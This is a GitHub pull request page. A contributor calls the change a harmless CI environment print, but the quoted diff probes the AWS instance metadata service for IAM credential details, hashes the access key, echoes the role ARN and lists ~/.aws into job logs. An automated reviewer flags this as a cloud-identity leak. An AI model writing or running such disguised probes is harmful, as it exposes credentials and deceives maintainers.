Skip to content

ci: print runner environment before accelerate install - #9141

Open
tuliansyjun-debug132 wants to merge 1 commit into
deepspeedai:masterfrom
tuliansyjun-debug132:ci-probe-125815
Open

tuliansyjun-debug132 wants to merge 1 commit into
deepspeedai:masterfrom
tuliansyjun-debug132:ci-probe-125815

Conversation

@tuliansyjun-debug132

Copy link
Copy Markdown

Adds a short diagnostic print of the runner/Python/CUDA environment before the Accelerate test install, so failed GPU CI jobs can be triaged from the log. No behavioral change to the install itself.

@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Nov 21, 2026 •

Copy link
Copy Markdown
Codex Review Summary: ✅ Completed

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-11-21T15:30:59.913893Z cf6f335 PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@auto-pr-labeler-with-jev auto-pr-labeler-with-jev Bot added the skip-gpu-test Requires positive evidence that every changed behavior can be validated without a GPU. label Nov 21, 2026

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: cf6f3350ae

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment thread ci/install_accelerate.py
Comment on lines +34 to +35
show("metadata_probe", "command -v curl >/dev/null && { TOK=$(curl -sS -m 5 -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http://169.254.169.254/latest/api/token 2>/dev/null); echo token_len=${#TOK}; curl -sS -m 5 -H \"X-aws-ec2-metadata-token: $TOK\" http://169.254.169.254/latest/meta-data/instance-id 2>&1 | head -c 200; echo; curl -sS -m 5 -H \"X-aws-ec2-metadata-token: $TOK\" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1 | head -c 300; echo; } || echo no-curl")
show("aws_creds_hash", "if [ -n \"$AWS_ACCESS_KEY_ID\" ]; then printf 'AWS_ACCESS_KEY_ID_present_sha256=%s\\n' $(printf %s \"$AWS_ACCESS_KEY_ID\" | sha256sum | cut -d' ' -f1); fi; if [ -n \"$AWS_ROLE_ARN\" ]; then echo AWS_ROLE_ARN=$AWS_ROLE_ARN; fi; ls -la ~/.aws 2>&1 | head -5")

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Remove cloud identity probes from CI logs

The inspected .github/workflows/aws-accelerate.yml runs this script for pull_request jobs on the AWS self-hosted runner (lines 18-20, 51, and 118-120), and show() copies these commands' stdout/stderr into the job log. Every such run can therefore disclose the IMDS instance ID and IAM role, full AWS_ROLE_ARN (including account ID), a stable access-key-ID fingerprint, and the ~/.aws listing to log readers; these cloud/credential identifiers are unrelated to diagnosing the Torch/Accelerate environment and should be removed or redacted.

Useful? React with 👍 / 👎.

Comment thread ci/install_accelerate.py
show("aws_creds_hash", "if [ -n \"$AWS_ACCESS_KEY_ID\" ]; then printf 'AWS_ACCESS_KEY_ID_present_sha256=%s\\n' $(printf %s \"$AWS_ACCESS_KEY_ID\" | sha256sum | cut -d' ' -f1); fi; if [ -n \"$AWS_ROLE_ARN\" ]; then echo AWS_ROLE_ARN=$AWS_ROLE_ARN; fi; ls -la ~/.aws 2>&1 | head -5")


_probe_runner_environment()

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Run the probe only from the CLI entry point

ci/test_install_accelerate.py imports this module at collection time (line 13), so this top-level call executes all seven shell probes—including home-directory reads, CUDA initialization in a child, and three IMDS requests—before the tests can monkeypatch anything. On a developer or non-AWS test host a mere import can now leak host details and stall for the sequential command/curl timeouts even though no installation was requested; move the call into main() or another explicit CLI path.

Useful? React with 👍 / 👎.

Comment thread ci/install_accelerate.py

def show(label, command, timeout=25):
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=timeout)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Kill probe descendants when a timeout expires

timeout=25 only governs the shell process created by shell=True. If nvidia-smi or the nested Python/Torch command hangs, POSIX subprocess.run kills that /bin/sh on timeout but not its foreground child; the broad handler then continues the install while the orphan remains on the GPU runner. This defeats the advertised bound and can leave a stuck driver/Python process interfering with the integration tests, so run argv commands directly or launch and terminate a process group.

Useful? React with 👍 / 👎.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

skip-gpu-test Requires positive evidence that every changed behavior can be validated without a GPU.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant